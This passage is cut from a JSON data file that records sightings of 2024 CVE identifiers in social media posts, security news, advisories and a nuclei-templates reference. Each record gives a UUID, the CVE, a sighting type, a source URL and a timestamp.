"2024-12-24T13:46:44.846263Z"}, {"uuid": "653f2f7f-cbfb-4083-99e6-eed64b9d2c31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3le2mfdy2rd2p", "content": "", "creation_timestamp": "2024-12-24T14:04:16.795968Z"}, {"uuid": "1866d71a-e919-4faa-81db-d72560eb41a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://bsky.app/profile/xc0py.bsky.social/post/3le2skx52sc2x", "content": "", "creation_timestamp": "2024-12-24T15:54:47.874479Z"}, {"uuid": "86b7ee4a-a009-4de0-b893-c640c4ae9a9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50566", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113827650449423333", "content": "", "creation_timestamp": "2025-01-14T16:28:28.331381Z"}, {"uuid": "df049541-6454-4e85-805c-6f53b9483041", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50566", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpgx7kycw2d", "content": "", "creation_timestamp": "2025-01-14T14:17:59.373160Z"}, {"uuid": "0604595c-6ab4-4391-a195-a29541739aaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50563", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfu46pegwe2b", "content": "", "creation_timestamp": "2025-01-16T10:48:39.619475Z"}, {"uuid": "a6e7f8a4-3770-4e1e-a2b2-4fcba2f8e964", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://thehackernews.com/2025/01/hackers-exploit-aviatrix-controller.html", "content": "", "creation_timestamp": "2025-01-13T12:33:00.000000Z"}, {"uuid": "1b8bd1cb-5916-4a83-b9d4-088800076398", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3lfv5q7ph4m2m", "content": "", "creation_timestamp": "2025-01-16T20:48:59.520329Z"}, {"uuid": "d5e08864-ff98-4237-a07f-746c430b0655", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lflr2teplh2t", "content": "", "creation_timestamp": "2025-01-13T03:08:20.233365Z"}, {"uuid": "abf3c10e-4610-4a61-acea-238abe257c22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50566", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfpieef77s2g", "content": "", "creation_timestamp": "2025-01-14T14:43:14.272084Z"}, {"uuid": "d115a904-4ab0-4fff-9aef-89bc394abb04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50564", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfpieetf7q2h", "content": "", "creation_timestamp": "2025-01-14T14:43:15.532025Z"}, {"uuid": "2f5255f0-e624-4566-aaf7-e48272eb4eaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50858", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113833626963845673", "content": "", "creation_timestamp": "2025-01-15T17:48:23.120980Z"}, {"uuid": "c172dc72-b490-445d-9a50-a4c6cd2d090b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lfadphuiem2z", "content": "", "creation_timestamp": "2025-01-08T14:10:03.774492Z"}, {"uuid": "286d9f48-df82-44c7-a4d2-da71a73fe8dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://infosec.exchange/users/obivan/statuses/113803734953935843", "content": "", "creation_timestamp": "2025-01-10T11:06:26.650824Z"}, {"uuid": "ed37e278-0108-4e86-8b2b-52e6526adab3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/113793284179732442", "content": "", "creation_timestamp": "2025-01-08T14:48:40.551150Z"}, {"uuid": "56f4369d-4e4c-438b-ae6f-fdb9f926a562", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/3119708", "content": "", "creation_timestamp": "2025-01-16T17:16:14.871593Z"}, {"uuid": "45c5685f-3a2c-4a87-a272-abadc072a12d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3lfag4ouprc23", "content": "", "creation_timestamp": "2025-01-08T14:53:16.055949Z"}, {"uuid": "72bad7eb-7f87-4210-aea5-55f03df08b2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/royans.bsky.social/post/3lfo3vwiquh2b", "content": "", "creation_timestamp": "2025-01-14T01:27:46.048279Z"}, {"uuid": "095fed1a-306b-4281-b914-7d129d8459a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3lfagvwpehs23", "content": "", "creation_timestamp": "2025-01-08T15:07:23.311495Z"}, {"uuid": "e25275a9-d9da-46c7-b03a-0ddb2bb2ab44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50633", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113839189115908037", "content": "", "creation_timestamp": "2025-01-16T17:22:54.280295Z"}, {"uuid": "114e2dfb-c2fa-4358-8fb0-88c70f1d72f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50658", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113788419245182331", "content": "", "creation_timestamp": "2025-01-07T18:11:27.489982Z"}, {"uuid": "238d2125-2bce-482e-954c-3ce6a0591b42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50659", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113788419260108805", "content": "", "creation_timestamp": "2025-01-07T18:11:27.745987Z"}, {"uuid": "7e08e392-a282-4107-bac2-c4bb826a4886", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50660", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113788419274222722", "content": "", "creation_timestamp": "2025-01-07T18:11:28.293728Z"}, {"uuid": "3c7e5ab6-7e68-4c1f-85a6-c3420a6b8646", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50338", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpxmfxuev2s", "content": "", "creation_timestamp": "2025-01-14T19:16:10.459058Z"}, {"uuid": "4e3dde8f-d937-473a-b47c-1092787c07f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50603", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/113799653378140009", "content": "", "creation_timestamp": "2025-01-09T17:48:26.750645Z"}, {"uuid": "28dfa80e-4d47-4bdd-bd07-b16bd859e91a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50349", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpxmijdyb2c", "content": "", "creation_timestamp": "2025-01-14T19:16:13.372726Z"}, {"uuid": "c7d84aed-f740-4c08-a695-22b9fa3836ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50658", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf6axxx6cd2m", "content": "", "creation_timestamp": "2025-01-07T18:15:47.132807Z"}, {"uuid": "f1c33b2d-6d1c-4320-9cd0-d7517a8a45e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/darkwebinformer.bsky.social/post/3lfdaeyjb6s2r", "content": "", "creation_timestamp": "2025-01-09T17:48:30.813431Z"}, {"uuid": "ef1236ae-d2fa-4978-a222-e55b63d673c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50659", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf6ay3nr7q25", "content": "", "creation_timestamp": "2025-01-07T18:15:50.739537Z"}, {"uuid": "554a2821-598e-449a-ba62-2df9fc884b69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50660", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf6ay6uvxj25", "content": "", "creation_timestamp": "2025-01-07T18:15:54.040533Z"}, {"uuid": "e86922ce-16df-4ebf-a739-60959f38632e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-503387", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2025-0011", "content": "", "creation_timestamp": "2025-01-14T18:10:44.000000Z"}, {"uuid": "9bb218d5-ec0a-4d85-9a8a-5399482bb026", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3le3wtpmiyk25", "content": "", "creation_timestamp": "2024-12-25T02:43:56.072364Z"}, {"uuid": "8489752c-7b72-495b-85e3-25aaf8a52865", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://bsky.app/profile/areyou1or0.bsky.social/post/3leanozdtms2k", "content": "", "creation_timestamp": "2024-12-26T23:43:34.315596Z"}, {"uuid": "0d7bc277-b708-4479-a46a-57c15d34c828", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50564", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113827355879730690", "content": "", "creation_timestamp": "2025-01-14T15:13:34.196580Z"}, {"uuid": "c408ba24-ecce-4e85-bc92-ca1022baa32e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50338", "type": "seen", "source": "https://www.thezdi.com/blog/2025/1/14/the-january-2025-security-update-review", "content": "", "creation_timestamp": "2025-01-14T17:29:48.000000Z"}, {"uuid": "28d18da3-7777-4493-afaf-3ee73916887f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50566", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113828003758066396", "content": "", "creation_timestamp": "2025-01-14T17:58:19.537464Z"}, {"uuid": "6587c612-b6e3-431c-9696-b26b895b4489", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/amitaico.bsky.social/post/3lfie3vr6lk2q", "content": "", "creation_timestamp": "2025-01-11T18:38:17.719157Z"}, {"uuid": "cffe7acc-3ecb-49a6-a4e9-790c278ae708", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50349", "type": "seen", "source": "https://github.blog/open-source/git/git-security-vulnerabilities-announced-5/", "content": "", "creation_timestamp": "2025-01-14T17:04:36.000000Z"}, {"uuid": "811e92d6-2152-46f7-b0a4-6be17ecde239", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50510", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113783260052432058", "content": "", "creation_timestamp": "2025-01-06T20:19:24.629968Z"}, {"uuid": "4a2f0408-bbaf-4db2-859e-dd6ee8bedbdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50508", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113783260541864521", "content": "", "creation_timestamp": "2025-01-06T20:19:31.829345Z"}, {"uuid": "71462def-b6c7-46ec-8823-571026feb6db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50507", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113783261277012382", "content": "", "creation_timestamp": "2025-01-06T20:19:43.153247Z"}, {"uuid": "444a165e-9d26-48db-be71-46a144d5ff2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113811334080235239", "content": "", "creation_timestamp": "2025-01-11T19:19:00.526958Z"}, {"uuid": "e1f545ef-095e-4b54-a3e4-e38978d58a1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://www.darkreading.com/cloud-security/cloud-attackers-exploit-max-critical-aviatrix-rce-flaw", "content": "", "creation_timestamp": "2025-01-13T19:44:00.000000Z"}, {"uuid": "c93ea1b5-255f-4457-a756-b1ffc4783e87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50509", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113783260932309163", "content": "", "creation_timestamp": "2025-01-06T20:19:37.755683Z"}, {"uuid": "d28dd39a-9ca2-45f1-a557-095ba6584dd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113811499136960405", "content": "", "creation_timestamp": "2025-01-11T20:00:59.148186Z"}, {"uuid": "631c5565-4e8c-4af3-9372-78cc0a424067", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50338", "type": "seen", "source": "https://github.blog/open-source/git/git-security-vulnerabilities-announced-5/", "content": "", "creation_timestamp": "2025-01-14T17:04:36.000000Z"}, {"uuid": "19608cc8-0845-4653-a412-34430fe0314e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50349", "type": "seen", "source": "https://bsky.app/profile/top4all.bsky.social/post/3lfptvqqems2k", "content": "", "creation_timestamp": "2025-01-14T18:09:49.632268Z"}, {"uuid": "955558e4-5127-4b8e-b5d5-10560d1a234e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50659", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf6crdzsfo2g", "content": "", "creation_timestamp": "2025-01-07T18:47:55.683328Z"}, {"uuid": "b6645ffc-06e3-4cfd-88f7-9f79888c27cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50658", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf6cre4yww2g", "content": "", "creation_timestamp": "2025-01-07T18:47:56.256742Z"}, {"uuid": "a7e14d4c-0c19-4a88-ba52-48fde5a182e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50660", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf6crdsalk2k", "content": "", "creation_timestamp": "2025-01-07T18:47:54.619630Z"}, {"uuid": "997a6e57-1444-4233-83db-5d696e6640f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/darkoperator.bsky.social/post/3lfrqlknrgk2f", "content": "", "creation_timestamp": "2025-01-15T12:15:47.029134Z"}, {"uuid": "876363dd-5e75-4f89-8934-50001e3dc074", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50658", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113793757486628973", "content": "", "creation_timestamp": "2025-01-08T16:49:03.931801Z"}, {"uuid": "403de663-a527-4836-a276-fbfd1bcad666", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50066", "type": "seen", "source": "https://u1f383.github.io/linux/2025/01/12/memory-related-cves-exploited-in-kernelctf.html", "content": "", "creation_timestamp": "2025-01-11T23:00:00.000000Z"}, {"uuid": "86a62caa-8732-4b48-9a96-c75a40848fbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50660", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113793757558825530", "content": "", "creation_timestamp": "2025-01-08T16:49:04.791175Z"}, {"uuid": "bb689689-4b07-4fd1-ab72-db7c687f2274", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/wizsecurity.bsky.social/post/3lfmpf25eis2q", "content": "", "creation_timestamp": "2025-01-13T12:10:57.830192Z"}, {"uuid": "6dce35e4-3ad5-4e36-a64b-42589914a865", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-50603.yaml", "content": "", "creation_timestamp": "2025-01-08T12:09:05.000000Z"}, {"uuid": "87decd0e-54d0-4157-8d21-a41b8bbff593", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50944", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113726266146681714", "content": "", "creation_timestamp": "2024-12-27T18:45:06.663313Z"}, {"uuid": "66183105-cc57-432f-bcdb-42a12a1717b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50944", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecp6nm63u22", "content": "", "creation_timestamp": "2024-12-27T19:15:30.874779Z"}, {"uuid": "2d69f21e-1674-4c05-81a2-772a6a43a256", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50945", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecp6qa6s522", "content": "", "creation_timestamp": "2024-12-27T19:15:34.086555Z"}, {"uuid": "fd8c209d-5349-460d-8077-57e4a674c6a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50713", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113726778657953799", "content": "", "creation_timestamp": "2024-12-27T20:55:26.770872Z"}, {"uuid": "74a81df7-0882-4ac0-8ab6-e28cc349280d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50716", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113726778672769944", "content": "", "creation_timestamp": "2024-12-27T20:55:27.055317Z"}, {"uuid": "95170b6f-da5e-455d-a3b4-569cc891f87e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50717", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113726778705931804", "content": "", "creation_timestamp": "2024-12-27T20:55:27.542637Z"}, {"uuid": "51a0baaa-7908-4c7b-a25b-6e004fd6851a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50715", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113726830589647167", "content": "", "creation_timestamp": "2024-12-27T21:08:39.250807Z"}, {"uuid": "7513e912-e17c-4fc0-aa15-67b9bf898e59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50713", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecvv3pmom2c", "content": "", "creation_timestamp": "2024-12-27T21:15:26.046853Z"}, {"uuid": "b6d481d2-92ef-4eb9-b3bb-3a34cf335828", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50715", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecvv62kxi2e", "content": "", "creation_timestamp": "2024-12-27T21:15:28.968587Z"}, {"uuid": "7ae7d6d7-dfe9-4a24-98d1-c30dcb460317", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50716", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecvvakk5y2i", "content": "", "creation_timestamp": "2024-12-27T21:15:31.895881Z"}, {"uuid": "6e3a5079-fa3c-4131-8aa7-23694934af85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50717", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecvvdb4oa2i", "content": "", "creation_timestamp": "2024-12-27T21:15:35.654757Z"}, {"uuid": "b7944506-c77e-4722-808a-91862a25237d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50714", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113726869374317780", "content": "", "creation_timestamp": "2024-12-27T21:18:31.081661Z"}, {"uuid": "de087560-93fb-4af5-b8d8-8f25b201e2d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50714", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3leczagqme525", "content": "", "creation_timestamp": "2024-12-27T22:15:28.242578Z"}, {"uuid": "8c96a5f7-3192-4b7f-902e-73c9f696015b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50807", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113804905401091069", "content": "", "creation_timestamp": "2025-01-10T16:04:06.266996Z"}, {"uuid": "5418e9df-5f03-4566-a323-2f548c2c252b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50349", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfpzwlrpll2i", "content": "", "creation_timestamp": "2025-01-14T19:57:41.515146Z"}, {"uuid": "3170c060-a4cf-4861-bdbd-a9b481e85e19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://bsky.app/profile/opsmatters.bsky.social/post/3lfoba6mzmw2k", "content": "", "creation_timestamp": "2025-01-14T03:02:58.821528Z"}, {"uuid": "92569364-faf6-4d51-9043-bea9c0b28e32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lfti5df6zp2m", "content": "", "creation_timestamp": "2025-01-16T04:49:58.089347Z"}, {"uuid": "0738eb5a-c77c-44e4-b4c1-b25c808f9fa1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50807", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfflonwihj22", "content": "", "creation_timestamp": "2025-01-10T16:16:03.578226Z"}, {"uuid": "c82d84c0-fdab-446a-8717-a993e552c3c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50701", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742407578396020", "content": "", "creation_timestamp": "2024-12-30T15:10:05.203381Z"}, {"uuid": "e944af23-6449-485f-9804-08249dbcde9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 